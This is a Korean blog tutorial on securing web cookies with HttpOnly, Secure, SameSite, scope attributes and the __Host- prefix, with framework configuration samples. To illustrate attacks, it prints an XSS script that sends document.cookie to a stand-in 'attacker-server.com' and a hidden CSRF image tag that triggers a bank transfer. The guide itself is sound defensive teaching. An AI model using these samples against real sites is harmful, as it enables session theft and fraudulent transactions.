Thursday, August 10, 2023

httpOnly, secure, samesite를 활용한 쿠키 보안 설정 지침

안전한 웹을 위한 필수 지식: 쿠키 보안 속성의 역할과 적용

오늘날 웹 환경은 사용자 경험을 개인화하고 세션을 유지하는 등 다양한 기능을 위해 쿠키(Cookie)에 크게 의존하고 있습니다. 쿠키는 서버가 사용자의 웹 브라우저에 전송하는 작은 데이터 조각으로, 브라우저는 이를 저장했다가 동일한 서버에 재요청 시 함께 전송합니다. 이 단순한 메커니즘 덕분에 HTTP의 비상태성(Stateless)이라는 한계를 극복하고, 사용자는 로그인 상태를 유지하거나 장바구니에 담은 상품을 기억하는 등 연속적인 웹 경험을 누릴 수 있습니다. 하지만 이 편리함의 이면에는 심각한 보안 위협이 도사리고 있습니다. 만약 쿠키, 특히 사용자의 신원을 증명하는 세션 쿠키가 악의적인 공격자에게 탈취된다면, 공격자는 사용자의 계정으로 아무런 제약 없이 접근할 수 있게 됩니다. 이는 개인정보 유출, 금융 사기 등 치명적인 결과로 이어질 수 있습니다.

이러한 위협으로부터 사용자와 서비스를 보호하기 위해, 웹 표준은 쿠키에 부여할 수 있는 여러 보안 관련 속성들을 정의하고 있습니다. HttpOnly, Secure, SameSite와 같은 속성들은 쿠키가 전송되고 사용되는 방식을 정교하게 제어함으로써 다양한 공격 벡터를 차단하는 핵심적인 역할을 수행합니다. 그러나 많은 개발자들이 이러한 속성들의 중요성을 간과하거나, 설정 방법을 정확히 이해하지 못해 보안에 취약한 애플리케이션을 만들기도 합니다. 본 글에서는 각각의 쿠키 보안 속성이 어떤 문제를 해결하기 위해 등장했으며, 어떻게 동작하고, 실제 애플리케이션에서 올바르게 적용하는 방법은 무엇인지 심도 있게 탐구하고자 합니다. 단순히 각 속성을 나열하는 것을 넘어, 이들이 어떻게 상호작용하며 견고한 방어 체계를 구축하는지 종합적인 관점에서 살펴보겠습니다.

1. 스크립트 접근 차단: HttpOnly 속성

웹 보안에서 가장 흔하면서도 강력한 공격 중 하나는 크로스 사이트 스크립팅(Cross-Site Scripting, XSS)입니다. XSS 공격은 공격자가 웹 사이트의 취약점을 이용해 악의적인 스크립트를 삽입하고, 다른 사용자의 브라우저에서 해당 스크립트를 실행시키는 공격 기법입니다. 만약 웹 사이트가 사용자의 입력을 적절히 검증하거나 이스케이프 처리하지 않고 그대로 페이지에 표시한다면, 공격자는 이 허점을 파고들 수 있습니다.

예를 들어, 게시판의 댓글 기능에 취약점이 있다고 가정해 봅시다. 공격자는 다음과 같은 악성 스크립트가 포함된 댓글을 작성할 수 있습니다.

<script>
  // 현재 페이지의 모든 쿠키를 가져와 공격자의 서버로 전송합니다.
  fetch('https://attacker-server.com/steal?cookie=' + document.cookie);
</script>

다른 사용자가 이 댓글이 포함된 페이지를 열람하면, 해당 스크립트는 사용자의 브라우저에서 실행됩니다. 이때 document.cookie API는 현재 도메인에서 접근 가능한 모든 쿠키를 문자열 형태로 반환하므로, 사용자의 세션 ID를 포함한 민감한 정보가 고스란히 공격자의 서버로 전송됩니다. 공격자는 이렇게 탈취한 세션 쿠키를 이용해 사용자의 계정을 하이재킹(Session Hijacking)하여 정상적인 사용자인 것처럼 활동할 수 있습니다.

HttpOnly의 동작 원리

HttpOnly 속성은 바로 이러한 XSS 기반의 쿠키 탈취 공격을 방어하기 위해 고안되었습니다. 쿠키에 HttpOnly 플래그가 설정되면, 해당 쿠키는 브라우저의 JavaScript와 같은 클라이언트 사이드 스크립트에서 접근할 수 없게 됩니다. 즉, document.cookie API를 통해 해당 쿠키를 읽거나 수정하는 모든 시도가 브라우저에 의해 차단됩니다.

이 속성이 설정된 쿠키는 오직 브라우저가 서버에 HTTP 요청을 보낼 때만 자동으로 헤더에 포함되어 전송됩니다. 따라서 앞서 언급한 XSS 공격이 발생하여 악성 스크립트가 실행되더라도, document.cookie를 통해 세션 쿠키를 읽을 수 없으므로 공격자는 쿠키 탈취에 실패하게 됩니다.

설정 방법

HttpOnly 속성은 서버가 클라이언트에게 쿠키를 설정하도록 지시하는 Set-Cookie HTTP 응답 헤더에 플래그를 추가하는 방식으로 설정합니다.

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: session_id=abc12345; HttpOnly

각 서버 사이드 언어 및 프레임워크는 이 속성을 쉽게 설정할 수 있는 방법을 제공합니다.

Node.js (Express 프레임워크)

app.get('/', (req, res) => {
  // httpOnly 옵션을 true로 설정
  res.cookie('session_id', 'abc12345', { httpOnly: true });
  res.send('Cookie with HttpOnly is set!');
});

Python (Django 프레임워크)

from django.http import HttpResponse

def set_cookie_view(request):
    response = HttpResponse("Cookie with HttpOnly is set!")
    # httponly 인자를 True로 설정
    response.set_cookie('session_id', 'abc12345', httponly=True)
    return response

PHP

<?php
// setcookie 함수의 7번째 인자(httponly)를 true로 설정
setcookie("session_id", "abc12345", [
    'expires' => time() + 86400,
    'path' => '/',
    'httponly' => true
]);
?>

HttpOnly의 한계

HttpOnly는 매우 효과적인 방어 수단이지만 만병통치약은 아닙니다. 이 속성은 XSS 공격 자체를 막는 것이 아니라, XSS 공격으로 인한 '쿠키 탈취'라는 특정 피해를 막는 데 중점을 둡니다. 만약 XSS 취약점이 여전히 존재한다면, 공격자는 쿠키를 직접 읽지는 못하더라도 다른 형태의 공격을 시도할 수 있습니다.

예를 들어, 악성 스크립트는 사용자의 브라우저 내에서 사용자를 대신하여 서버에 요청(예: fetch API 사용)을 보낼 수 있습니다. 이 요청에는 브라우저가 자동으로 HttpOnly 쿠키를 포함시키므로, 서버는 이를 정상적인 사용자의 요청으로 인식하게 됩니다. 공격자는 이를 이용해 사용자의 게시물을 삭제하거나, 비밀번호를 변경하는 등의 악의적인 행위를 수행할 수 있습니다. 따라서 HttpOnly 속성을 사용하는 것과 별개로, 입력값 검증, 출력값 이스케이프, CSP(Content Security Policy) 적용 등 근본적인 XSS 방어 대책을 반드시 함께 구현해야 합니다.

2. 전송 계층 암호화 강제: Secure 속성

사용자와 서버가 주고받는 데이터는 인터넷이라는 거대한 네트워크를 통해 여러 라우터와 스위치를 거쳐 전달됩니다. 만약 이 데이터가 암호화되지 않은 평문(Plain Text) 형태의 HTTP 프로토콜을 통해 전송된다면, 네트워크 중간에 위치한 공격자는 패킷 스니핑(Packet Sniffing)과 같은 기법으로 데이터를 엿볼 수 있습니다. 이를 중간자 공격(Man-in-the-Middle, MITM)이라고 합니다.

특히 공용 Wi-Fi와 같이 보안이 취약한 네트워크 환경에서는 이러한 위험이 더욱 커집니다. 사용자가 HTTPS를 통해 안전하게 로그인하여 세션 쿠키를 발급받았다고 가정해 봅시다. 그 후, 사용자가 동일한 웹 사이트 내에서 암호화되지 않은 HTTP 페이지로 이동하면, 브라우저는 해당 요청에 세션 쿠키를 포함하여 전송합니다. 공격자가 이 HTTP 트래픽을 가로채면, 암호화되지 않은 쿠키 값을 그대로 탈취할 수 있습니다. HttpOnly 속성이 설정되어 있어도 이는 전송 과정의 문제이므로 아무런 도움이 되지 못합니다.

Secure의 동작 원리

Secure 속성은 이러한 전송 계층의 보안 위협을 해결하기 위한 장치입니다. 쿠키에 Secure 플래그가 설정되면, 해당 쿠키는 반드시 암호화된 연결, 즉 HTTPS(HTTP over SSL/TLS) 프로토콜을 통해서만 서버로 전송됩니다. 브라우저는 HTTP와 같이 암호화되지 않은 프로토콜로 요청을 보낼 때 Secure 쿠키를 절대로 전송하지 않습니다.

이를 통해, 실수로라도 민감한 쿠키가 평문으로 네트워크에 노출되는 것을 원천적으로 차단하여 MITM 공격으로부터 쿠키를 안전하게 보호할 수 있습니다.

설정 방법

Secure 속성 역시 Set-Cookie 헤더에 플래그를 추가하여 설정합니다.

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: session_id=abc12345; Secure; HttpOnly

일반적으로 세션 쿠키와 같이 민감한 정보를 담은 쿠키는 HttpOnlySecure 속성을 함께 사용하는 것이 강력히 권장됩니다.

Node.js (Express 프레임워크)

// secure 옵션을 true로 설정
// 개발 환경에서 http로 테스트할 경우, res.cookie가 동작하지 않을 수 있음에 유의
res.cookie('session_id', 'abc12345', { httpOnly: true, secure: true });

Python (Django 프레임워크)

// secure 인자를 True로 설정
response.set_cookie('session_id', 'abc12345', httponly=True, secure=True)

Secure 속성과 HSTS

Secure 속성은 쿠키가 암호화되지 않은 채로 전송되는 것을 막아주지만, 사용자가 최초에 HTTP로 사이트에 접속하는 것 자체를 막지는 못합니다. 사용자가 주소창에 `example.com`을 입력하면 브라우저는 기본적으로 `http://example.com`으로 접속을 시도합니다. 이때 서버가 HTTPS로 리디렉션하기 전의 짧은 순간에 공격이 발생할 수 있습니다. (SSL Stripping 공격 등)

이러한 문제를 보완하기 위해 HSTS(HTTP Strict Transport Security)를 함께 사용하는 것이 좋습니다. HSTS는 서버가 브라우저에게 "앞으로 특정 기간 동안은 무조건 HTTPS로만 이 사이트에 접속하라"고 알리는 응답 헤더입니다. 브라우저는 이 지시를 받은 후에는 사용자가 HTTP 주소를 입력하더라도 내부적으로 HTTPS로 요청을 자동 변환하여 전송합니다. Secure 속성과 HSTS를 함께 사용하면 전송 계층 보안을 훨씬 더 견고하게 구축할 수 있습니다.

3. 교차 출처 요청 제어: SameSite 속성

과거 웹 보안의 큰 골칫거리 중 하나는 크로스 사이트 요청 위조(Cross-Site Request Forgery, CSRF) 공격이었습니다. CSRF는 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행동(예: 글 삭제, 비밀번호 변경, 송금)을 특정 웹 사이트에 요청하게 만드는 공격입니다.

CSRF 공격의 시나리오는 다음과 같습니다.

  1. 사용자는 `mybank.com`에 로그인하여 정상적인 세션 쿠키를 발급받습니다.
  2. 사용자는 로그아웃하지 않은 상태에서 다른 탭을 열어 공격자가 만들어 놓은 악성 웹 페이지 `evil.com`에 접속합니다.
  3. `evil.com` 페이지에는 사용자의 눈에 보이지 않는 이미지 태그나 폼(form)이 숨겨져 있습니다. 예를 들면 다음과 같습니다.
    <!-- 사용자의 눈에는 보이지 않음 -->
    <img src="https://mybank.com/transfer?to=attacker&amount=1000000" width="1" height="1">
  4. 사용자의 브라우저는 이 이미지 태그를 로드하기 위해 `mybank.com`으로 요청을 보냅니다. 이때 브라우저는 `mybank.com` 도메인에 대한 쿠키가 있으므로, 아무런 의심 없이 세션 쿠키를 요청에 자동으로 포함시켜 전송합니다.
  5. `mybank.com` 서버 입장에서는 정상적인 세션 쿠키가 포함된 유효한 요청으로 판단하여, 공격자의 계좌로 100만원을 송금하는 작업을 수행합니다.

이 공격이 무서운 점은 사용자가 아무런 인지를 하지 못한 상태에서, 단지 악성 페이지를 방문했다는 이유만으로 피해가 발생한다는 것입니다. 과거에는 이러한 CSRF 공격을 막기 위해 Referer 헤더를 검증하거나, CSRF 토큰이라는 무작위 값을 폼에 숨겨두고 서버에서 검증하는 복잡한 방어 로직이 필요했습니다.

SameSite의 등장과 동작 원리

SameSite 속성은 이러한 CSRF 공격을 브라우저 수준에서 보다 근본적으로 방어하기 위해 도입되었습니다. 이 속성은 쿠키가 다른 출처(Cross-Site 또는 Cross-Origin)에서 발생한 요청에 대해 함께 전송되어야 하는지를 브라우저에 알려주는 역할을 합니다.

SameSite 속성은 세 가지 값을 가질 수 있습니다.

  • Strict: 가장 엄격한 정책입니다. 쿠키는 오직 요청이 시작된 사이트와 현재 사이트가 동일한 경우(Same-Site)에만 전송됩니다. 즉, 사용자가 외부 사이트에 있는 링크를 클릭하여 웹 사이트로 들어오는 경우에도 쿠키가 전송되지 않습니다. 이로 인해 사용자가 로그아웃된 것처럼 보이는 등 사용자 경험을 해칠 수 있지만, 보안 수준은 가장 높습니다. 비밀번호 변경이나 회원 탈퇴와 같이 매우 민감한 작업을 수행할 때 제한적으로 사용될 수 있습니다.
  • Lax: Strict보다 약간 완화된 정책으로, 현재 대부분의 최신 브라우저에서 기본값으로 사용됩니다. Lax는 기본적으로 Strict와 동일하게 동작하지만, 사용자의 최상위 탐색(Top-level navigations)과 같이 안전하다고 판단되는 일부 GET 방식의 교차 출처 요청에는 쿠키 전송을 허용합니다. 예를 들어, 사용자가 다른 웹사이트(블로그, 이메일 등)에 있는 링크를 클릭하여 내 사이트로 이동하는 경우에는 세션 쿠키가 전송되어 로그인 상태가 유지됩니다. 하지만 <form>을 통한 POST 요청, <img>, <iframe>, XHR/Fetch API 등 CSRF 공격에 주로 사용되는 방식의 요청에는 쿠키를 전송하지 않습니다. 이로써 대부분의 CSRF 공격을 막으면서도 사용자 경험을 크게 해치지 않는 균형을 제공합니다.
  • None: 가장 완화된 정책으로, 과거 쿠키의 동작 방식과 동일합니다. 교차 출처 요청 여부와 관계없이 항상 쿠키를 전송합니다. 이 값은 외부 사이트에 내 콘텐츠를 임베드하거나, 서드파티 서비스와 연동하여 인증 정보를 주고받는 등 교차 출처 통신이 반드시 필요한 경우에 사용됩니다. 하지만 보안상의 이유로, SameSite=None을 설정하려면 반드시 Secure 속성을 함께 설정해야만 합니다. 즉, HTTPS 연결을 통해서만 동작합니다. 만약 Secure 속성 없이 SameSite=None을 설정하면 브라우저는 해당 쿠키를 무시합니다.

설정 방법

SameSite 속성은 Set-Cookie 헤더에 원하는 값을 명시하여 설정합니다.

Set-Cookie: session_id=abc12345; SameSite=Lax
Set-Cookie: tracking_id=xyz987; SameSite=None; Secure

Node.js (Express 프레임워크)

// sameSite 옵션을 'Lax', 'Strict', 'None' 중 하나로 설정
res.cookie('session_id', 'abc12345', { 
  httpOnly: true, 
  secure: true, 
  sameSite: 'Lax' 
});

Python (Django 프레임워크)

Django는 settings.py 파일에서 전역적으로 쿠키의 SameSite 정책을 설정할 수 있습니다.

# settings.py
SESSION_COOKIE_SAMESITE = 'Lax'
CSRF_COOKIE_SAMESITE = 'Lax'

SameSite=Lax가 기본값으로 적용되면서, 대부분의 CSRF 공격은 별도의 설정 없이도 효과적으로 방어됩니다. 이는 웹 보안의 상향 평준화에 크게 기여한 중요한 변화입니다.

4. 쿠키의 유효 범위 및 수명 제어

앞서 다룬 세 가지 핵심 보안 속성 외에도, 쿠키의 동작을 제어하는 기본적인 속성들이 있습니다. 이 속성들을 올바르게 설정하는 것 또한 보안의 중요한 일부입니다. 너무 넓은 범위나 긴 수명을 가진 쿠키는 불필요한 노출 위험을 증가시키기 때문입니다.

  • Domain: 쿠키가 전송될 서버의 도메인을 지정합니다. 만약 이 속성을 생략하면 쿠키를 설정한 서버의 도메인(호스트)에만 쿠키가 전송됩니다. 예를 들어 www.example.com에서 설정한 쿠키는 sub.example.com으로 전송되지 않습니다. 만약 서브도메인 간 쿠키 공유가 필요하다면 Domain=.example.com과 같이 점(.)으로 시작하는 형태로 설정하여 example.com의 모든 서브도메인에서 쿠키를 사용할 수 있도록 할 수 있습니다. 보안적으로는 쿠키의 유효 범위를 최소화하는 것이 원칙이므로, 꼭 필요한 경우가 아니라면 Domain 속성을 설정하지 않는 것이 좋습니다.
  • Path: Domain 속성보다 더 상세하게 쿠키의 유효 범위를 URL 경로로 제한합니다. 예를 들어 Path=/admin으로 설정된 쿠키는 /admin 경로 및 그 하위 경로(/admin/users 등)에 대한 요청에만 포함되어 전송됩니다. //home과 같은 다른 경로에는 전송되지 않습니다. 이 속성 역시 최소한의 범위로 설정하는 것이 안전합니다.
  • Expires / Max-Age: 쿠키의 수명을 결정합니다.
    • Expires: 쿠키가 만료되는 정확한 날짜와 시간을 지정합니다 (Expires=Wed, 21 Oct 2025 07:28:00 GMT).
    • Max-Age: 쿠키가 생성된 시점으로부터 만료되기까지의 시간(초)을 지정합니다 (Max-Age=3600 -> 1시간). Max-AgeExpires보다 우선하며, 더 현대적인 방식입니다.
    이 두 속성을 모두 지정하지 않으면 쿠키는 '세션 쿠키'가 되어 브라우저가 닫힐 때 자동으로 삭제됩니다. 사용자의 로그인 세션과 같이 민감한 쿠키는 불필요하게 긴 수명을 갖지 않도록 적절한 Max-Age를 설정하거나 세션 쿠키로 관리하는 것이 바람직합니다.

5. 추가 방어 계층: 쿠키 접두사(Cookie Prefixes)

쿠키 속성들을 올바르게 설정하는 것만으로도 대부분의 위협을 막을 수 있지만, 개발자의 실수나 복잡한 애플리케이션 환경에서 의도치 않게 보안이 약한 쿠키가 중요한 쿠키를 덮어쓰는 문제가 발생할 수 있습니다. 예를 들어, 동일한 이름의 쿠키를 Secure 속성 없이 설정하면 기존의 안전한 Secure 쿠키를 덮어쓸 수 있습니다.

이러한 문제를 방지하기 위해 쿠키 접두사(__Secure-, __Host-)라는 추가적인 방어 메커니즘이 도입되었습니다. 이 접두사들은 단순한 이름 규칙이 아니라, 브라우저가 강제하는 보안 규칙입니다.

  • __Secure-: 쿠키 이름이 이 접두사로 시작하면, 해당 쿠키는 반드시 Secure 속성을 포함하여 설정되어야 합니다. 만약 HTTPS가 아닌 연결에서 이 접두사를 가진 쿠키를 설정하려고 하면 브라우저는 이를 거부합니다.
    Set-Cookie: __Secure-ID=123; Secure; Domain=example.com
  • __Host-: 훨씬 더 엄격한 규칙을 적용합니다. __Host- 접두사가 붙은 쿠키는 다음 세 가지 조건을 모두 만족해야 합니다.
    1. 반드시 Secure 속성을 포함해야 합니다.
    2. 반드시 Path=/ 속성을 가져야 합니다 (사이트 전체에서 유효).
    3. Domain 속성을 절대로 지정해서는 안 됩니다. 즉, 쿠키는 현재 호스트(도메인)에만 고정되며 서브도메인과 공유될 수 없습니다.
    Set-Cookie: __Host-SID=abcdef; Secure; HttpOnly; SameSite=Lax; Path=/
    이 접두사는 쿠키가 특정 출처(origin)에 완전히 종속되도록 하여, 서브도메인에서의 잠재적인 공격(Subdomain Takeover 등)으로부터 쿠키를 보호하는 강력한 '도메인 잠금' 효과를 제공합니다.

따라서 가장 민감한 정보인 세션 ID를 저장하는 쿠키의 경우, __Host- 접두사를 사용하는 것이 현재로서는 가장 안전한 방법 중 하나입니다.

결론: 안전한 쿠키 관리 정책 수립하기

지금까지 살펴본 다양한 쿠키 속성들은 웹 애플리케이션의 보안을 강화하는 필수적인 도구입니다. 이들을 개별적으로 이해하는 것을 넘어, 목적에 맞게 조합하여 사용하는 것이 중요합니다. 안전한 쿠키 관리 정책을 위한 모범 사례를 정리하면 다음과 같습니다.

1. 세션 쿠키(Session Cookies)의 이상적인 설정:

사용자의 로그인 상태를 유지하는 세션 쿠키는 가장 중요한 자산이므로, 가능한 모든 보안 속성을 적용해야 합니다.

Set-Cookie: __Host-SID=very-secret-and-random-value; Path=/; Secure; HttpOnly; SameSite=Lax
  • __Host-: 쿠키를 현재 호스트에 고정시켜 도메인 관련 공격을 방어합니다.
  • Secure: HTTPS를 통해서만 쿠키가 전송되도록 하여 MITM 공격을 방어합니다.
  • HttpOnly: JavaScript에서의 접근을 차단하여 XSS 기반 쿠키 탈취를 방어합니다.
  • SameSite=Lax: 대부분의 CSRF 공격을 효과적으로 방어하면서 사용자 경험을 유지합니다.
  • Path=/: __Host- 접두사의 요구사항이며, 사이트 전역에서 쿠키를 사용할 수 있게 합니다.

2. 목적에 맞는 최소한의 권한 부여:

모든 쿠키에 동일한 정책을 적용할 필요는 없습니다. 예를 들어, 사용자의 테마 설정(다크 모드/라이트 모드)과 같이 보안상 민감하지 않고 JavaScript로 제어해야 하는 쿠키는 HttpOnly를 제외하고 설정할 수 있습니다. 교차 출처 리소스 공유가 필요한 광고나 분석용 쿠키는 SameSite=None; Secure로 설정해야 합니다.

3. 방어는 다층적으로(Defense in Depth):

쿠키 보안 속성은 강력하지만, 이것만으로 모든 웹 보안이 해결되지는 않습니다. 이는 전체 보안 전략의 일부일 뿐입니다. 근본적인 XSS 취약점을 해결하기 위한 입력값 검증과 출력값 인코딩, CSRF 토큰 사용(필요시), HSTS 헤더 적용, CSP(콘텐츠 보안 정책) 설정 등 다른 보안 기법들과 함께 사용될 때 비로소 견고한 방어 체계를 구축할 수 있습니다.

웹 개발자에게 쿠키는 매우 친숙한 기술이지만, 그 이면에 숨겨진 보안적 측면을 깊이 이해하고 올바르게 활용하는 것은 사용자의 데이터를 보호하고 신뢰할 수 있는 서비스를 제공하기 위한 기본적이면서도 가장 중요한 책임입니다.


0 개의 댓글:

Post a Comment